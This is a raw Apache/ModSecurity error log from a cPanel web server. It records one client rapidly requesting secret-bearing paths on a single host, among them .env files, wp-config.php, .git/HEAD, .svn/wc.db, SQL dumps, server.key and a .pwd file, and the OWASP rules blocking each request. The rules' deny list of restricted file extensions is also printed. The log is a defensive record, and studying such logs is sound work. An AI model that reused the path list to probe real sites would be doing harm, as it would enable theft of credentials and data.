[Sun Oct 25 07:18:02.054250 2026] [cgi:error] [pid 2815602:tid 2815602] (32)Broken pipe: [client 127.0.0.1:57544] AH02651: Error writing request body to script /usr/local/cpanel/cgi-sys/autodiscover.cgi
[Sun Oct 25 07:18:02.558150 2026] [cgi:error] [pid 2815599:tid 2815599] (32)Broken pipe: [client 127.0.0.1:57556] AH02651: Error writing request body to script /usr/local/cpanel/cgi-sys/autodiscover.cgi
[Sun Oct 25 07:18:03.020261 2026] [cgi:error] [pid 2815601:tid 2815601] (32)Broken pipe: [client 127.0.0.1:57560] AH02651: Error writing request body to script /usr/local/cpanel/cgi-sys/autodiscover.cgi
[Sun Oct 25 07:18:06.150813 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 98.83.177.42:43725] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:18:18.151278 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.6.97.88:29798] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:18:26.138076 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 18.214.124.6:20689] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:18:30.200716 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 52.3.26.180:41963] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:18:34.202251 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 23.23.103.31:9623] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:18:35.693676 2026] [security2:error] [pid 2822163:tid 2822163] [client 91.148.245.81:39412] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic5.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "at3li9M5mscaDMZSsHxqlwAAAAE"]
[Sun Oct 25 07:18:35.693993 2026] [security2:error] [pid 2822163:tid 2822163] [client 91.148.245.81:39412] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "at3li9M5mscaDMZSsHxqlwAAAAE"]
[Sun Oct 25 07:18:35.694267 2026] [security2:error] [pid 2822163:tid 2822163] [client 91.148.245.81:39412] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "at3li9M5mscaDMZSsHxqlwAAAAE"]
[Sun Oct 25 07:18:35.791111 2026] [security2:error] [pid 2822163:tid 2822163] [client 91.148.245.81:39412] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic5.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "at3li9M5mscaDMZSsHxqmAAAAAE"]
[Sun Oct 25 07:18:35.791428 2026] [security2:error] [pid 2822163:tid 2822163] [client 91.148.245.81:39412] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "at3li9M5mscaDMZSsHxqmAAAAAE"]
[Sun Oct 25 07:18:35.791767 2026] [security2:error] [pid 2822163:tid 2822163] [client 91.148.245.81:39412] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/database_backup.sql"] [unique_id "at3li9M5mscaDMZSsHxqmAAAAAE"]
[Sun Oct 25 07:18:35.894757 2026] [security2:error] [pid 2822163:tid 2822163] [client 91.148.245.81:39412] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3li9M5mscaDMZSsHxqmQAAAAE"]
[Sun Oct 25 07:18:35.895023 2026] [security2:error] [pid 2822163:tid 2822163] [client 91.148.245.81:39412] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3li9M5mscaDMZSsHxqmQAAAAE"]
[Sun Oct 25 07:18:35.895293 2026] [security2:error] [pid 2822163:tid 2822163] [client 91.148.245.81:39412] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3li9M5mscaDMZSsHxqmQAAAAE"]
[Sun Oct 25 07:18:35.922455 2026] [security2:error] [pid 2815606:tid 2815606] [client 91.148.245.81:39452] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at3liyQ6C_qJaeV2JCrHFAAAABQ"]
[Sun Oct 25 07:18:35.922563 2026] [security2:error] [pid 2815599:tid 2815599] [client 91.148.245.81:39422] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at3li-s4DYbOWQ864oPKLQAAAAk"]
[Sun Oct 25 07:18:35.922678 2026] [security2:error] [pid 2815606:tid 2815606] [client 91.148.245.81:39452] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at3liyQ6C_qJaeV2JCrHFAAAABQ"]
[Sun Oct 25 07:18:35.922704 2026] [security2:error] [pid 2815599:tid 2815599] [client 91.148.245.81:39422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at3li-s4DYbOWQ864oPKLQAAAAk"]
[Sun Oct 25 07:18:35.922945 2026] [security2:error] [pid 2815599:tid 2815599] [client 91.148.245.81:39422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at3li-s4DYbOWQ864oPKLQAAAAk"]
[Sun Oct 25 07:18:35.922946 2026] [security2:error] [pid 2815606:tid 2815606] [client 91.148.245.81:39452] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at3liyQ6C_qJaeV2JCrHFAAAABQ"]
[Sun Oct 25 07:18:36.015884 2026] [security2:error] [pid 2815601:tid 2815601] [client 91.148.245.81:39466] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic5.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "at3ljMFBowqkM0cGnNCRnQAAAA8"]
[Sun Oct 25 07:18:36.016164 2026] [security2:error] [pid 2815601:tid 2815601] [client 91.148.245.81:39466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "at3ljMFBowqkM0cGnNCRnQAAAA8"]
[Sun Oct 25 07:18:36.016434 2026] [security2:error] [pid 2815601:tid 2815601] [client 91.148.245.81:39466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "at3ljMFBowqkM0cGnNCRnQAAAA8"]
[Sun Oct 25 07:18:36.023915 2026] [security2:error] [pid 2815599:tid 2815599] [client 91.148.245.81:39422] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at3ljOs4DYbOWQ864oPKLgAAAAk"]
[Sun Oct 25 07:18:36.024071 2026] [security2:error] [pid 2815599:tid 2815599] [client 91.148.245.81:39422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at3ljOs4DYbOWQ864oPKLgAAAAk"]
[Sun Oct 25 07:18:36.024282 2026] [security2:error] [pid 2815599:tid 2815599] [client 91.148.245.81:39422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at3ljOs4DYbOWQ864oPKLgAAAAk"]
[Sun Oct 25 07:18:36.126118 2026] [security2:error] [pid 2815599:tid 2815599] [client 91.148.245.81:39422] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic5.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at3ljOs4DYbOWQ864oPKLwAAAAk"]
[Sun Oct 25 07:18:36.126246 2026] [security2:error] [pid 2815599:tid 2815599] [client 91.148.245.81:39422] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at3ljOs4DYbOWQ864oPKLwAAAAk"]
[Sun Oct 25 07:18:36.126359 2026] [security2:error] [pid 2815599:tid 2815599] [client 91.148.245.81:39422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at3ljOs4DYbOWQ864oPKLwAAAAk"]
[Sun Oct 25 07:18:36.126635 2026] [security2:error] [pid 2815599:tid 2815599] [client 91.148.245.81:39422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at3ljOs4DYbOWQ864oPKLwAAAAk"]
[Sun Oct 25 07:18:36.219353 2026] [security2:error] [pid 2815601:tid 2815601] [client 91.148.245.81:39466] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic5.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "at3ljMFBowqkM0cGnNCRnwAAAA8"]
[Sun Oct 25 07:18:36.219617 2026] [security2:error] [pid 2815601:tid 2815601] [client 91.148.245.81:39466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "at3ljMFBowqkM0cGnNCRnwAAAA8"]
[Sun Oct 25 07:18:36.219887 2026] [security2:error] [pid 2815601:tid 2815601] [client 91.148.245.81:39466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "at3ljMFBowqkM0cGnNCRnwAAAA8"]
[Sun Oct 25 07:18:36.228123 2026] [security2:error] [pid 2815599:tid 2815599] [client 91.148.245.81:39422] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic5.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "at3ljOs4DYbOWQ864oPKMAAAAAk"]
[Sun Oct 25 07:18:36.228319 2026] [security2:error] [pid 2815599:tid 2815599] [client 91.148.245.81:39422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "at3ljOs4DYbOWQ864oPKMAAAAAk"]
[Sun Oct 25 07:18:36.228564 2026] [security2:error] [pid 2815599:tid 2815599] [client 91.148.245.81:39422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "at3ljOs4DYbOWQ864oPKMAAAAAk"]
[Sun Oct 25 07:18:36.229850 2026] [proxy_fcgi:error] [pid 2815606:tid 2815606] [client 91.148.245.81:39452] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 07:18:36.293798 2026] [security2:error] [pid 2822163:tid 2822163] [client 91.148.245.81:39412] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic5.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at3ljNM5mscaDMZSsHxqnQAAAAE"]
